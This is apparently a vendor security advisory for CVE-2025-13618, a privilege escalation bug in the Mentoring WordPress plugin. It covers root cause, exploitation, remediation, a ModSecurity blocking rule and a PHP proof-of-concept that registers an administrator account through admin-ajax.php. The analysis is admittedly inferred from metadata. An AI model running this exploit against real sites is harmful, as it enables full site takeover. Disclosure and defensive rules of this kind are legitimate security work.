Atomic Edge analysis of CVE-2025-13618 (metadata-based):
The Mentoring plugin for WordPress (versions up to and including 1.2.8) contains an unauthenticated privilege escalation vulnerability in the mentoring_process_registration() function. This vulnerability allows any unauthenticated attacker to register a new user account with administrator-level privileges. The CVSS score of 9.8 (Critical) reflects the ease of exploitation (network-based, low complexity, no authentication required) and the complete compromise of confidentiality, integrity, and availability.
Root Cause:
The description states that the plugin fails to properly restrict the roles that users can register with in the mentoring_process_registration() function. Atomic Edge analysis infers that this function handles new user registration, likely processing form submissions via an AJAX handler or a dedicated endpoint. The core issue is the absence of a role whitelist or capability check. The plugin likely accepts a ‘role’ parameter from the request and applies it directly when creating the user account without validating that the requested role is a subscriber or other low-privilege role. This is consistent with CWE-269 (Improper Privilege Management), where the software does not restrict or incorrectly restricts access to a resource from unauthorized actors.
Exploitation:
An attacker can send a crafted POST request to the WordPress AJAX endpoint at /wp-admin/admin-ajax.php with the action parameter set to ‘mentoring_process_registration’ (or a similar derived hook name based on the function name). The request must include standard registration fields (username, email, password) and a ‘role’ parameter set to ‘administrator’. The attacker does not need a nonce or any prior authentication. The plugin will create a new WordPress user account with the administrator role, granting the attacker full control over the website.
Remediation:
The fix in version 1.2.9 likely involves adding a strict role whitelist to the mentoring_process_registration() function. The plugin should only allow registration with low-privilege roles (e.g., ‘subscriber’). Alternatively, the plugin should check that the current user has the ‘create_users’ capability before allowing role assignment. Developers must never trust user-supplied input for role assignment during self-registration.
Impact:
Successful exploitation grants an attacker an administrative user account on the WordPress site. From there, the attacker can upload malicious plugins, modify site content, steal user data, change configuration, and potentially execute arbitrary code on the server. This leads to full site compromise, data breaches, and use of the server for further malicious activities.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-13618 (metadata-based)
# Block exploitation by matching the specific AJAX action and role parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20251938,phase:2,deny,status:403,chain,msg:'CVE-2025-13618 - Mentoring plugin unauthenticated privilege escalation',severity:'CRITICAL',tag:'CVE-2025-13618'"
SecRule ARGS_POST:action "@streq mentoring_process_registration"
"chain"
SecRule ARGS_POST:role "@streq administrator"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13618 - Mentoring <= 1.2.8 - Unauthenticated Privilege Escalation in mentoring_process_registration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
// The AJAX action derived from the vulnerable function name 'mentoring_process_registration'
// WordPress AJAX handlers use 'wp_ajax_{action}' and 'wp_ajax_nopriv_{action}' hooks.
// The plugin likely registers the nopriv version (for unauthenticated users).
$ajax_action = 'mentoring_process_registration';
// Build the request payload for admin registration
$payload = array(
'action' => $ajax_action,
'username' => 'adminexploit_' . uniqid(),
'email' => 'exploit_' . uniqid() . '@example.com',
'password' => 'Exploit123!',
'role' => 'administrator' // The core of the exploit: requesting an admin role
);
// Initialize cURL session
$ch = curl_init();
// Set cURL options for POST request to admin-ajax.php
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Display result
if ($http_code == 200 && $response !== false) {
echo "[+] Request sent successfully.n";
echo "[+] HTTP Response Code: " . $http_code . "n";
echo "[+] Response Body: " . $response . "n";
echo "[*] Check if a new admin user '{$payload['username']}' was created.n";
} else {
echo "[-] Request failed. HTTP Code: " . $http_code . "n";
}
